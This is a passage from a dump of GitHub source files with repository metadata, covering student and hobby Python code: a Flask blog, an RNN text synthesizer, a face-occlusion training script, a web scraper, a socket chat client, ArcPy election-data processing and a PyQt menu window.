\"gender\": gender['gender'], \"age\":age['age']}\n return render_template(\"index.html\", user=user, year=year)\n\n\n@app.route(\"/blog\")\ndef blog():\n return render_template(\"blog.html\", posts=all_posts, year=year)\n\n\n@app.route(\"/blog/\")\ndef get_post(post_id):\n return render_template(\"post.html\", posts=all_posts[post_id], year=year)\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"sedje/100DaysOfPython","sub_path":"day-57-flask-blog/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19659518605","text":"# 5. Написати функцію < fibonacci >, яка приймає один аргумент і виводить всі числа Фібоначчі, що не перевищують його.\n\ndef fibonacci(number):\n a, b = 1, 1\n print(a)\n while number > b:\n b, a = a + b, b\n print(a)\n return None\n\n\n# test\nfibonacci(100)","repo_name":"blackange1/geekhub.ck.ua","sub_path":"HT_04/05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"73356820872","text":"from ast import arg\nimport os\nfrom pickletools import optimize\nfrom random import shuffle\nfrom statistics import mode\nimport numpy as np\nimport cv2\nimport argparse\nimport sys\nimport torch\nfrom data.datasets import Cofw\nfrom modeling import models\nimport logging\nfrom engin import launch, default_argument_parser\n\nFOD_CLASS_NAMES = ['normal', 'right_eye', 'left_eye', 'nose', 'mouth', 'chin']\nCLASS_NUM = len(FOD_CLASS_NAMES)\n\ndef main(args):\n assert args.num_gpus == 1\n logger = logging.getLogger(__name__)\n logger.setLevel(level = logging.INFO)\n console_handler = logging.StreamHandler()\n console_handler.setLevel(logging.INFO)\n file_handler = logging.FileHandler(args.output_dir+'log.txt',\"w\", encoding=\"UTF-8\")\n file_handler.setLevel(logging.INFO)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n file_handler.setFormatter(formatter)\n logger.addHandler(console_handler)\n logger.addHandler(file_handler)\n\n dataset = Cofw(proj_dir=args.proj_dir, data_dir=args.data_dir, batch_size=args.batch_size,\n input_size=args.input_size, class_num=CLASS_NUM,\n fine_tune=args.fine_tune)\n if args.eval_only:\n net = models.FODNet(class_num = CLASS_NUM,\n input_size = args.input_size, \n fine_tune=args.fine_tune)\n state_dict = torch.load(args.model_weights,map_location=torch.device('cuda'))\n net.load_state_dict(state_dict)\n net.to('cuda')\n logger.info('start evaluating val dataset...')\n net.eval()\n iters = int(dataset.val_num()/args.batch_size)\n total = iters*args.batch_size\n dataloader = dataset.data_generator(label_file_name='val.txt',shuffle=False)\n predictions = []\n correct = 0\n for it in range(iters):\n if it%10==0:\n logger.info('--> iter {}/{}'.format(it+1,iters))\n fod_x, fod_label = next(dataloader)\n fod_x = fod_x.to('cuda')\n pred = net(fod_x).detach().cpu()\n for i, fod_real in enumerate(fod_label):\n fod_real = fod_real.tolist()\n one_num = fod_real.count(1)\n fod_pred_idxs = [j for j,x in enumerate(pred[i].tolist()) if x > args.thresholds[j]]\n fod_real_idxs = [i for i,x in enumerate(fod_real) if x == 1]\n # logger.info(fod_pred_idxs)\n # logger.info(fod_real_idxs)\n if fod_real_idxs == fod_pred_idxs:\n correct += 1\n predictions.append(pred)\n \n logger.info(\"fod val ==> correct:{}, total:{}, correct_rate:{}\".format(correct, total, 1.0 * correct / total))\n # -------------------------------------------------------\n iters = int(dataset.test_num()/args.batch_size)\n total = iters*args.batch_size\n dataloader = dataset.data_generator(label_file_name='test.txt',shuffle=False)\n predictions = []\n correct = 0\n for it in range(iters):\n if it%10==0:\n logger.info('--> iter {}/{}'.format(it+1,iters))\n fod_x, fod_label = next(dataloader)\n fod_x = fod_x.to('cuda')\n pred = net(fod_x).detach().cpu()\n for i, fod_real in enumerate(fod_label):\n fod_real = fod_real.tolist()\n one_num = fod_real.count(1)\n fod_pred_idxs = [j for j,x in enumerate(pred[i].tolist()) if x > args.thresholds[j]]\n fod_real_idxs = [i for i,x in enumerate(fod_real) if x == 1]\n # logger.info(fod_pred_idxs)\n # logger.info(fod_real_idxs)\n if fod_real_idxs == fod_pred_idxs:\n correct += 1\n predictions.append(pred)\n \n logger.info(\"fod test ==> correct:{}, total:{}, correct_rate:{}\".format(correct, total, 1.0 * correct / total))\n logger.info('evaluation finished!')\n return\n \n net = models.FODNet(class_num = CLASS_NUM,\n input_size = args.input_size, \n fine_tune=args.fine_tune,\n fine_tune_model_file=args.model_weights)\n net.to('cuda')\n optimizer = torch.optim.AdamW(net.parameters())\n logger.info(net)\n logger.info('start training...')\n net.train()\n dataloader = dataset.data_generator(label_file_name='train.txt',shuffle=True)\n for epoch in range(args.epochs):\n logger.info('epoch {}/{}'.format(epoch+1,args.epochs))\n iters = int(dataset.train_num()/args.batch_size)\n for it in range(iters):\n fod_x, fod_label = next(dataloader)\n fod_x = fod_x.to('cuda')\n fod_label = fod_label.to('cuda')\n pred, loss_dict = net(fod_x,gt_label=fod_label)\n losses = sum(loss_dict.values())\n logger.info('--> iter {}/{}, total loss: {}'.format(it+1,iters,losses))\n optimizer.zero_grad()\n losses.backward()\n optimizer.step()\n torch.save(net.state_dict(),args.output_dir+'/model_final.pth')\n logger.info('training finished!')\n \nif __name__ == '__main__':\n args = default_argument_parser().parse_args()\n # args.eval_only = True\n print(\"Command Line Args:\", args)\n launch(\n main,\n args.num_gpus,\n num_machines=args.num_machines,\n machine_rank=args.machine_rank,\n dist_url=args.dist_url,\n args=(args,),\n )\n\n","repo_name":"HunterJ-Lin/FaceOcclusionDetection","sub_path":"train_net.py","file_name":"train_net.py","file_ext":"py","file_size_in_byte":5498,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"27"} +{"seq_id":"70313957192","text":"\"\"\"\nDeep Learning in Data Science Assignment 4\nText synthesis using a vanilla RNN\n\nAuthor: Clara Tump\nLast updated: 30-05-2019\n\nRNN class.\nInitializes and trains the RNN.\n\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass RNN:\n\n def __init__(self):\n self.m = 100 #hidden layer length\n self.k = 80 # number of unique characters\n self.eta = 0.1 # learning rate\n self.seq_length = 25 # length of the input sequences\n self.e = 0\n self.cum_g2 = self.init_cum_gradient_squared()\n self.eps = 1e-8\n self.h_prev = np.zeros((self.m,1))\n\n self.params = self.init_params()\n self.grads = {}\n \n \n def init_params(self):\n params = {}\n self.sig = 0.01\n params['b'] = np.zeros((self.m,1)) # bias vector\n params['c'] = np.zeros((self.k,1)) # another bias vector\n params['u'] = np.random.rand(self.m, self.k)*self.sig # weight matrix 1\n params['w'] = np.random.rand(self.m, self.m)*self.sig # weight matrix 2\n params['v'] = np.random.rand(self.k, self.m)*self.sig # weight matrix 3\n return params\n \n def init_cum_gradient_squared(self):\n cum_sum = {}\n cum_sum['b'] = np.zeros((self.m,1)) # bias vector\n cum_sum['c'] = np.zeros((self.k,1)) # another bias vector\n cum_sum['u'] = np.zeros((self.m, self.k)) # weight matrix 1\n cum_sum['w'] = np.zeros((self.m, self.m)) # weight matrix 2\n cum_sum['v'] = np.zeros((self.k, self.m)) # weight matrix 3\n return cum_sum\n \n \n def train(self, data, epochs=5):\n \"\"\"\n Train the RNN using backpropagation through time (bptt)\n \"\"\"\n book_length = len(data.book_data) \n smooth_loss = None\n for i in range(epochs):\n X, Y = self.get_matrices(data)\n p, a, h = self.evaluate(X)\n loss = self.compute_loss(p, Y)\n smooth_loss = self.compute_smooth_loss(loss, smooth_loss)\n self.compute_grads(X, Y, p, a, h)\n self.update_params()\n self.report_progress(smooth_loss)\n self.update_e(book_length)\n if i % 1000 == 0:\n print(\"update \", i, \" // smooth loss: \", round(smooth_loss,3))\n if i % 10000 == 0:\n one_hot = self.generate(data)\n print(\"-------------- generated text: -------------------------------\")\n print(data.onehot_to_string(one_hot))\n print(\"--------------------------------------------------------------\")\n \n def get_matrices(self, data):\n \"\"\"\n get X (input) and Y (labels) matrices from the list of characters\n \"\"\"\n X_chars = data.book_data[self.e : self.e + self.seq_length]\n Y_chars = data.book_data[self.e + 1 : self.e + self.seq_length + 1]\n X = data.chars_to_onehot(X_chars)\n Y = data.chars_to_onehot(Y_chars)\n return X, Y\n \n def get_gen_matrix(self, data):\n \"\"\"\n get longer X (input) from the list of characters\n \"\"\"\n randint1 = np.random.randint(10000)\n X_chars = data.book_data[randint1: randint1 + 100]\n X = data.chars_to_onehot(X_chars)\n return X\n \n def evaluate(self, X):\n \"\"\"\n evaluates a sequence of one-hot encoded characters X and outputs a \n probability vector at each X_t representing the predicted probs\n for the next character.\n Used as forward pass of the backpropagation through time (bptt)\n \"\"\" \n\n p = np.zeros((X.shape[1], self.k))\n a = np.zeros((X.shape[1], self.m))\n h = np.zeros((X.shape[1], self.m))\n \n for t in range(X.shape[1]):\n xt = X[:,t].reshape((self.k, 1)) # reshape from (k,) to (k,1)\n a_curr = np.dot(self.params['w'], self.h_prev) + np.dot(self.params['u'], xt) + self.params['b']\n h_curr = np.tanh(a_curr)\n o_curr = np.dot(self.params['v'], h_curr) + self.params['c']\n p_curr = self.softmax(o_curr)\n \n a[t] = a_curr.reshape(self.m) #reshape from (m,1) to (m,)\n h[t] = h_curr.reshape(self.m) #reshape from (m,1) to (m,)\n p[t] = p_curr.reshape(self.k) #reshape from (k,1) to (k,)\n \n self.h_prev = h_curr\n \n return p, a, h\n \n def compute_loss(self, p, Y):\n \"\"\"\n Compute the cross entropy loss between:\n - a (seq_len x k) matrix of predicted probabilities\n - a (k x seq _len) matrix of true one_hot encoded characters\n \n \"\"\"\n # todo: check if not one of them needs to be transposed\n # TODO: this can be more efficient without the for loop\n loss = 0\n for t in range(self.seq_length):\n yt = Y[:,t] # reshape from (k,) to (k,1)\n loss += -np.log(np.dot(yt.T, p[t]))\n \n return loss\n \n def compute_smooth_loss(self, loss, smooth_loss):\n \"\"\"\n compute a smoothed version of the loss, since the simple loss fluctuates\n a lot\n \"\"\"\n if smooth_loss == None:\n smooth_loss = loss\n else:\n smooth_loss = 0.999 * smooth_loss + 0.001 * loss\n return smooth_loss\n \n def softmax(self, Y_pred_lin):\n \"\"\"\n compute softmax activation, used in evaluating the prediction of the model\n \"\"\"\n ones = np.ones(Y_pred_lin.shape[0])\n Y_pred = np.exp(Y_pred_lin) / np.dot(ones.T, np.exp(Y_pred_lin))\n return Y_pred\n \n def compute_grads(self, X, Y, p, a, h):\n grad_o = np.zeros((self.seq_length, self.k)) \n for t in range(self.seq_length):\n yt = Y[:,t].reshape(self.k,1)\n pt = p[t].reshape(self.k,1)\n grad_o[t] = (-(yt - pt)).reshape(self.k)\n \n grad_v = np.zeros((self.k, self.m))\n for t in range(self.seq_length):\n grad_v += np.dot(grad_o[t].reshape(self.k, 1), h[t].reshape(1,self.m))\n \n grad_a = np.zeros((self.seq_length, self.m))\n grad_h = np.zeros((self.seq_length, self.m))\n \n grad_h[-1] = np.dot(grad_o[-1], self.params['v']) \n grad_h_last = grad_h[-1] \n diag_part = np.diag(1-np.tanh(a[-1])**2) \n grad_a[-1] = np.dot(grad_h_last, diag_part) \n\n \n for t in reversed(range(self.seq_length-1)): \n grad_h[t] = np.dot(grad_o[t], self.params['v']) + np.dot(grad_a[t-1], self.params['w'])\n grad_h_part = grad_h[t]\n diag_part = np.diag(1-np.tanh(a[t])**2)\n grad_a[t] = np.dot(grad_h_part, diag_part) \n \n grad_c = grad_o.sum(axis = 0).reshape(self.k, 1)\n grad_b = grad_a.sum(axis = 0).reshape(self.m, 1)\n \n grad_w = np.zeros((self.m, self.m))\n for t in range(self.seq_length):\n grad_w += np.outer(grad_a[t].reshape(self.m,1), self.h_prev)\n \n grad_u = np.zeros((self.m, self.k))\n for t in range(self.seq_length):\n xt = X[:,t].reshape(self.k, 1)\n grad_u += np.dot(grad_a[t].reshape(self.m,1), xt.T)\n \n self.grads['u'] = grad_u\n self.grads['v'] = grad_v\n self.grads['w'] = grad_w\n self.grads['b'] = grad_b\n self.grads['c'] = grad_c\n \n def update_params(self):\n \"\"\"\n update the parameters according to AdaGrad gradient descent\n \"\"\"\n for key in self.params:\n param = self.params[key]\n grad = self.grads[key]\n Gt = self.cum_g2[key] + np.square(grad)\n eps = self.eps * np.ones(Gt.shape)\n updated_param = param - self.eta / (np.sqrt(Gt + eps)) * grad\n self.params[key] = updated_param\n self.cum_g2[key] = Gt\n \n def update_e(self, book_length):\n \"\"\"\n Update the counter of where we are in the book (e).\n If we are at the end of the book, we start at the beginning again.\n \"\"\"\n new_e = self.e + self.seq_length\n if new_e > (book_length - self.seq_length -1):\n new_e = 0\n self.e = new_e\n \n \n \n def report_progress(self, smooth_loss):\n pass\n \n \n def generate(self, data):\n \"\"\"\n generate a sequence of n one_hot encoded characters based on initial \n hidden state h0 and input character x0\n \n Return: n*k matrix of n generated chars encoded as one-hot vectors\n \"\"\"\n X = self.get_gen_matrix(data)\n p, a, h = self.evaluate(X)\n char_seq = np.array([self.select_char(pt, data.unique_chars) for pt in p])\n return char_seq\n \n def select_char(self, prob, unique_chars):\n \"\"\"\n Use the conditional probabilities of a character\n to generate a one_hot character based on a prob-weighted random choice\n \"\"\"\n # draw an int in [0,k]\n indices = list(range(self.k))\n int_draw = int(np.random.choice(indices, 1, p=prob)) \n \n # convert int to one-hot \n one_hot_draw = np.zeros(self.k)\n one_hot_draw[int_draw] = 1 \n return one_hot_draw\n \n\n def check_gradients(self, data, h_param = 1e-7):\n X, Y = self.get_matrices(data)\n p, a, h = self.evaluate(X)\n self.compute_grads(X, Y, p, a, h)\n\n num_grads = {}\n for key in self.grads:\n print(\"----------------------------------------------------------------\")\n print(\"comparing numerical and own gradient for: \" + str(key)) \n print(\"----------------------------------------------------------------\")\n num_grad = self.num_gradient(key, X, Y, h_param)\n own_grad = self.grads[key]\n error = np.sum(self.grads[key] - num_grad)\n \n grad_w_vec = own_grad.flatten()\n grad_w_num_vec = num_grad.flatten()\n x_w = np.arange(1, grad_w_vec.shape[0] + 1)\n plt.figure(figsize=(9, 8), dpi= 80, facecolor='w', edgecolor='k')\n plt.bar(x_w, grad_w_vec, 0.35, label='Analytical gradient', color='blue')\n plt.bar(x_w+0.35, grad_w_num_vec, 0.35, label='numerical gradient', color='red')\n plt.legend()\n plt.title(\"Gradient check of: \" + str(key))\n plt.show()\n rel_error = abs(grad_w_vec / grad_w_num_vec - 1)\n print(\"mean relative error: \", np.mean(rel_error))\n\n\n def num_gradient(self, key, X, Y, h_param):\n num_grad = np.zeros(self.grads[key].shape)\n if key == 'b' or key == 'c': # need to loop over 1 dim\n for i in range(self.params[key].shape[0]):\n self.params[key][i] -= h_param\n p1, _, _ = self.evaluate(X)\n l1 = self.compute_loss(p1, Y)\n self.params[key][i] += 2*h_param\n p2, _, _ = self.evaluate(X)\n l2 = self.compute_loss(p2, Y)\n num_grad[i] = (l2-l1) / (2*h_param)\n self.params[key][i] -= h_param\n else: # need to loop over 2 dimensions\n for i in range(self.params[key].shape[0]): \n for j in range(self.params[key].shape[1]):\n self.params[key][i][j] -= h_param\n p1, _, _ = self.evaluate(X)\n l1 = self.compute_loss(p1, Y)\n self.params[key][i][j] += 2*h_param\n p2, _, _ = self.evaluate(X)\n l2 = self.compute_loss(p2, Y)\n num_grad[i][j] = (l2-l1) / (2*h_param) \n self.params[key][i][j] -= h_param\n return num_grad \n","repo_name":"clara2911/DeepLearning_DD2424","sub_path":"Assignment 4/rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":11089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"20403066891","text":"#coding:utf-8\n# @Time : 2021/2/23 16:09\n# @Author: Netfj@sina.com\n# @File : 23.py\n# @info : \n\nfrom urllib import request\nfrom bs4 import BeautifulSoup\nimport io\nimport sys\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='gb18030')\n\nurl = \"https://www.eol.cn/html/en/cetwords/cet4.shtml\"\nrsp = request.urlopen(url)\nhtml = rsp.read()\n\nsoup = BeautifulSoup(html,'lxml')\ntags = soup.find_all(attrs = {'class':'wordL fl'})\nfor tag in tags:\n p_list = tag.select('p')\n for p in p_list:\n print(p)","repo_name":"netfj/Project_Stu02","sub_path":"stu04/23.py","file_name":"23.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"4622405260","text":"import functools\nimport schema\nfrom schema import Schema\n\n\nCONFIG_SCHEMA = Schema({\n \"description\": str,\n schema.Optional(\"uses_default_memory\", default=True): bool,\n schema.Optional(\"schema\"): Schema\n})\n\n\ndef activity(config: dict):\n validated_config = CONFIG_SCHEMA.validate(config)\n\n validated_config.update(\n {k: v for k, v in config.items() if k not in validated_config}\n )\n\n if not validated_config.get(\"schema\"):\n validated_config[\"schema\"] = None\n\n def decorator(func):\n @functools.wraps(func)\n def wrapper(self, *args, **kwargs):\n return func(self, *args, **kwargs)\n\n wrapper.name = func.__name__\n wrapper.config = validated_config\n wrapper.is_activity = True\n\n return wrapper\n return decorator\n","repo_name":"griptape-ai/griptape","sub_path":"griptape/utils/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":1275,"dataset":"github-code","pt":"27"} +{"seq_id":"24083543637","text":"\"\"\"\nThis module defines the way resource files (eg. serialized models, corpora...) are\ndownloaded, cached and retrieved in Due.\n\"\"\"\nimport os\nimport logging\nfrom io import TextIOWrapper\nfrom zipfile import ZipFile\nfrom collections import namedtuple\n\nimport yaml\nfrom magic import Magic\n\nDEFAULT_RESOURCE_FOLDER = '~/.due/resources'\n\nResourceRecord = namedtuple('ResourceRecord', ['name', 'description', 'url', 'filename'])\n\nclass ResourceManager(object):\n\t\"\"\"\n\tThe Resource Manager handles the download, caching and retrieval of resources\n\tin a project.\n\t\"\"\"\n\n\tdef __init__(self, resource_folder=DEFAULT_RESOURCE_FOLDER):\n\t\tself._logger = logging.getLogger(__name__)\n\t\tself.resource_folder = os.path.expanduser(resource_folder)\n\t\tif not os.path.exists(self.resource_folder):\n\t\t\tos.makedirs(self.resource_folder)\n\t\tself.resources = {}\n\t\tself.resource_filenames = {}\n\n\tdef register_resource(self, name, description, url, filename):\n\t\t\"\"\"\n\t\tRegister a new resource in the Resource Manager. Once a resource is registered,\n\t\tother modules in the application can access it by its name.\n\n\t\t:param name: the name of the new resource (eg. \"corpora.cornell\")\n\t\t:type name: `str`\n\t\t:param description: a text description of the resource file\n\t\t:type description: `str`\n\t\t:param url: URL to download the resource, if missing\n\t\t:type url: `str`\n\t\t:param filename: name by which the resource file will be looked up in the resources folder\n\t\t\"\"\"\n\t\tif name in self.resources:\n\t\t\tself._logger.error(\"Entry '%s' already exist in ResourceManager.\", name)\n\t\t\traise ValueError(\"Cannot overwrite existing resource '%s'\" % name)\n\n\t\tif filename in self.resource_filenames:\n\t\t\tresource = self.resource_filenames[filename]\n\t\t\tself._logger.error(\"Entry '%s' exists in ResourceManager with the same filename (%s).\", resource, filename)\n\t\t\traise ValueError(\"Cannot overwrite existing resource '%s'\" % name)\n\n\t\tself.resources[name] = ResourceRecord(name, description, url, filename)\n\t\tself.resource_filenames[filename] = name\n\n\tdef register_yaml(self, yaml_stream):\n\t\t\"\"\"\n\t\tRead a YAML file containing an index of resources. Such a file must contain a\n\t\t`resources` key, having a list of objects as values. These objects must contain\n\t\tthe `name`, `description`, `url` and `filename` keys (see :meth:`register_resource`\n\t\tfor an explanation of these values).\n\n\t\tThis is an example content for a YAML file specifying one resource to register:\n\n\t\t.. code-block:: yaml\n\n\t\t\tresources:\n\t\t\t- name: cornell\n\t\t\t\tdescription: the Cornell Movie-Dialogs Corpus (http://www.cs.cornell.edu/~cristian/Cornell_Movie-Dialogs_Corpus.html)\n\t\t\t\turl: http://www.cs.cornell.edu/~cristian/data/cornell_movie_dialogs_corpus.zip\n\t\t\t\tfilename: cornell_movie_dialogs_corpus.zip\n\n\t\t:param path: pointer to the YAML file\n\t\t:type path: `file object`\n\t\t\"\"\"\n\t\tresource_list = yaml.load(yaml_stream, Loader=yaml.FullLoader)['resources']\n\n\t\tfor r in resource_list:\n\t\t\tself.register_resource(r['name'], r['description'], r['url'], r['filename'])\n\n\tdef open_resource(self, name, mode=\"r\"):\n\t\t\"\"\"\n\t\tReturn a file object representing the resource with the given name.\n\n\t\t:param name: the name of the resource to open\n\t\t:type name: `str`\n\t\t:param mode: the mode in which the file is opened\n\t\t:type mode: `str`\n\t\t\"\"\"\n\t\tself._error_if_not_found(name)\n\t\t\n\t\treturn open(self.resource_path(name), mode)\n\n\tdef open_resource_file(self, name, filename, binary=False, encoding='utf-8'):\n\t\t\"\"\"\n\t\tIf the given resource is a compressed archive, extract the given filename\n\t\tand return a file pointer to the extracted file.\n\n\t\tCurrently, only **ZIP** files are supported.\n\n\t\t:param name: the name of the resource containing the file\n\t\t:type name: `str`\n\t\t:param filename: the name of the file to extract and return\n\t\t:type filename: `str`\n\t\t:param binary: if True, open the file in binary mode (\"rb\")\n\t\t\"\"\"\n\t\tself._error_if_not_found(name)\n\n\t\tpath = self.resource_path(name)\n\t\tmagic = Magic(mime=True)\n\t\tmime = magic.from_file(path)\n\t\tif mime != 'application/zip':\n\t\t\traise ValueError(\"Unsupported MIME type: %s (application/zip is required)\" % mime)\n\n\t\tzipfile = ZipFile(path)\n\t\tf = zipfile.open(filename, mode='r')\n\n\t\treturn f if binary else TextIOWrapper(f, encoding) # TODO: test encoding\n\n\tdef resource_path(self, name):\n\t\t\"\"\"\n\t\tReturn the path of the resource with the given name\n\n\t\t:param name: the name of the resource\n\t\t:type name: `str`\n\t\t\"\"\"\n\t\treturn os.path.join(self.resource_folder, self.resources[name].filename)\n\n\tdef _error_if_not_found(self, name):\n\t\trecord = self.resources[name]\n\t\tpath = self.resource_path(name)\n\t\tif not os.path.isfile(path):\n\t\t\tprint( (\"Couldn't find resource '%s'. Download the file at %s and \"\n\t\t\t\t \"copy it in your resource folder (%s) with name '%s' to make \"\n\t\t\t\t \"it available in Due.\") % (name, record.url, self.resource_folder, record.filename))\n\t\t\traise ValueError(\"Resource not found: %s. Please refer to the logs for guidance.\" % name)\n","repo_name":"dariowho/Due","sub_path":"due/util/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":4912,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"41332547247","text":"\"\"\"List of prime numbers generator.\"\"\"\n\"\"\"ENTER YOUR SOLUTION HERE!\"\"\"\n\ndef primes(number_of_primes):\n if number_of_primes <= 0:\n raise ValueError(\"You must enter an integer number greater than 0\")\n\n list = []\n prime_counter = 0\n trial_number = 2 # initialize it to first prime number\n\n while prime_counter < number_of_primes:\n is_prime = True\n if len(list) != 0:\n for prime_number in list:\n if trial_number % prime_number == 0:\n is_prime = False\n \n if is_prime == True:\n list.append(trial_number)\n prime_counter += 1\n \n trial_number += 1\n \n return list\n","repo_name":"KCL-SEG/list-of-primes-v2-FedericoSchuscheim","sub_path":"primes.py","file_name":"primes.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"27083724928","text":"import socket\nfrom threading import Thread\n\n\nname = input(\"input your name: \")\n\nIP = \"localhost\"\nPORT = 8000\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect((IP,PORT))\n\nclient.send(name.encode())\n\ndef send(client):\n while True:\n data = f\"{name}: {input('')}\"\n client.send(data.encode())\n\ndef recieve(client):\n while True:\n try:\n data = client.recv(1024).decode()\n print(data)\n except:\n print(\"closing client\")\n client.close()\n break\n\n\nthread1 = Thread(target=send, args=(client,))\nthread1.start()\nthread2 = Thread(target=recieve, args=(client,))\nthread2.start()\n","repo_name":"satyamsingh2/python-basic-socket-app","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"35612681888","text":"\"\"\"\r\nImport CSVs and xls files to ESRI\r\n\"\"\"\r\n\r\nimport xlrd, arcpy, csv, os, urllib2\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom bs4 import BeautifulSoup as BS\r\n\r\n\r\n# Set Workspace\r\nwksp = r'E:\\GIS_DATA\\GEO_242\\Final_Project\\Data\\ElectionData.gdb'\r\narcpy.env.workspace = wksp\r\narcpy.env.overwriteOutput = True\r\n\r\n# Inputs\r\nxls_folder = r'E:\\GIS_DATA\\GEO_242\\Final_Project\\ElectionResultAnalysis\\Election Data\\XLS'\r\nUS_counties = r'USCounties'\r\n\r\n\r\n\r\n# Convert xls tables to geodatabase tables\r\nxls_dir = r'E:\\GIS_DATA\\GEO_242\\Final_Project\\ElectionResultAnalysis\\ElectionData\\XLS'\r\nxls_list = os.listdir(xls_dir)\r\nfor xls in xls_list:\r\n xls_path = os.path.join(xls_dir, xls)\r\n st_name = xls.split('.')[0]\r\n outDBF = st_name.replace(' ','')\r\n\r\n \r\n arcpy.ExcelToTable_conversion(xls_path, outDBF)\r\n\r\n#Covert csv to geodatabase tables \r\ncsv_dir = r'E:\\GIS_DATA\\GEO_242\\Final_Project\\ElectionResultAnalysis\\ElectionData\\CSV' \r\ncsv_list= os.listdir(csv_dir)\r\nprint(csv_list)\r\nfor csv in csv_list:\r\n csv_path = os.path.join(csv_dir, csv)\r\n df = pd.read_csv(csv_path)\r\n st_name = csv.split('.')[0]\r\n \r\n outDBF = st_name.replace(' ','')\r\n print(outDBF)\r\n ### Convert to ESRI dbf\r\n x = np.array(np.rec.fromrecords(df.values))\r\n\r\n names = df.dtypes.index.tolist()\r\n\r\n x.dtype.names = tuple(names)\r\n tbl = arcpy.da.NumPyArrayToTable(x, outDBF[:10])\r\n\r\n\r\n### Import FIPS numbers and corresponding state\r\nfips_list = []\r\n# Access website with list\r\nurl = r'https://www.mcc.co.mercer.pa.us/dps/state_fips_code_listing.htm '\r\nheader = {'User-Agent': 'Mozilla/5.0'}\r\nreq = urllib2.Request(url, headers=header)\r\npage = urllib2.urlopen(req)\r\nsoup = BS(page, \"html.parser\")\r\n\r\n# Parse out table\r\ntable = soup.body.find('table')\r\n# Build a 2-D array with fips codes and states\r\nfor row in table.findAll('tr')[1:]:\r\n cells = row.findAll('td')\r\n fips1 = cells[1].contents[0]\r\n state1 = cells[2].contents[0]\r\n fips2 = cells[4].contents[0]\r\n state2 = cells[5].contents[0]\r\n \r\n st_fips = [state1, fips1]\r\n st_fips2 = [state2, fips2]\r\n\r\n fips_list.append(st_fips)\r\n fips_list.append(st_fips2)\r\n\r\n\r\n# Break County map by states\r\n# Get rid codes/states I didnt need\r\nfips_list.sort()\r\ndel fips_list[1]\r\ndel fips_list[1]\r\ndel fips_list[10]\r\ndel fips_list[10]\r\ndel fips_list[-1]\r\ndel fips_list[-6]\r\ndel fips_list[-13]\r\n\r\nprint(fips_list)\r\nfor fips in fips_list:\r\n\r\n fip_code = fips[1]\r\n state = fips[0]\r\n \r\n WC = '\"STATEFP\"=' + \"'%s'\" %fip_code \r\n \r\n inLYR = arcpy.MakeFeatureLayer_management(US_counties, \"Counties\", WC)\r\n \r\n arcpy.CopyFeatures_management(inLYR, fips[0].replace(' ',\"\")[:8] + \"_co\")\r\n \r\n print(state.capitalize())\r\n\r\n inFeat = fips[0].replace(' ',\"\")[:8] + \"_co.shp\"\r\n joinTable = fips[0].capitalize().replace(' ','')\r\n outFeat_name = fips[0].replace(' ',\"\")[:6] + \"_elec\"\r\n print(inFeat)\r\n \r\n print(joinTable)\r\n joinFeat = arcpy.JoinField_management(inFeat, 'NAME', joinTable, 'County')\r\n arcpy.CopyFeatures_management(joinFeat, outFeat_name)\r\n\r\n\r\n\r\n","repo_name":"snkuroda/python_portfolio","sub_path":"Twitter_Sentiment/6_Table_import.py","file_name":"6_Table_import.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"10961688844","text":"from PyQt5.QtWidgets import QApplication, QMainWindow,QPushButton#,QLabel\n\nclass Tela_Geral(QMainWindow):\n\n def __init__(self):\n super().__init__()\n\n self.esquerda = 500\n self.topo = 100\n self.largura = 800\n self.altura = 600\n self.titulo = 'Tela Geral'\n\n \"\"\"\n self.label_msg = QLabel(self)\n self.label_msg.setText('BEM VINDO(A) ')\n self.label_msg.resize(600,100)\n self.label_msg.move(480,0)\n self.label_msg.setStyleSheet('QLabel {font: 40px}')\n \"\"\"\n\n\n self.botao_iniciar = QPushButton('Iniciar', self)\n self.botao_iniciar.resize(600,100)\n self.botao_iniciar.move(100,30)\n self.botao_iniciar.setStyleSheet('QPushButton {font:80px}')\n\n self.botao_gravar = QPushButton('Gravar', self)\n self.botao_gravar.resize(600,100)\n self.botao_gravar.move(100,200)\n self.botao_gravar.setStyleSheet('QPushButton {font:80px}')\n\n self.botao_modificar = QPushButton('Modificar parâmetros', self)\n self.botao_modificar.resize(600,100)\n self.botao_modificar.move(100,370)\n self.botao_modificar.setStyleSheet('QPushButton {font:60px}')\n\n\n self.Criar_Tela()\n\n def Criar_Tela(self):\n\n self.setGeometry(self.esquerda, self.topo, self.largura, self.altura)\n self.setWindowTitle(self.titulo)\n #para visualizar descomente a linha a baixo\n #self.show()\n\n\nif __name__ == '__main__':\n \n \n import sys\n aplicativo = QApplication(sys.argv)\n tela = Tela_Geral()\n 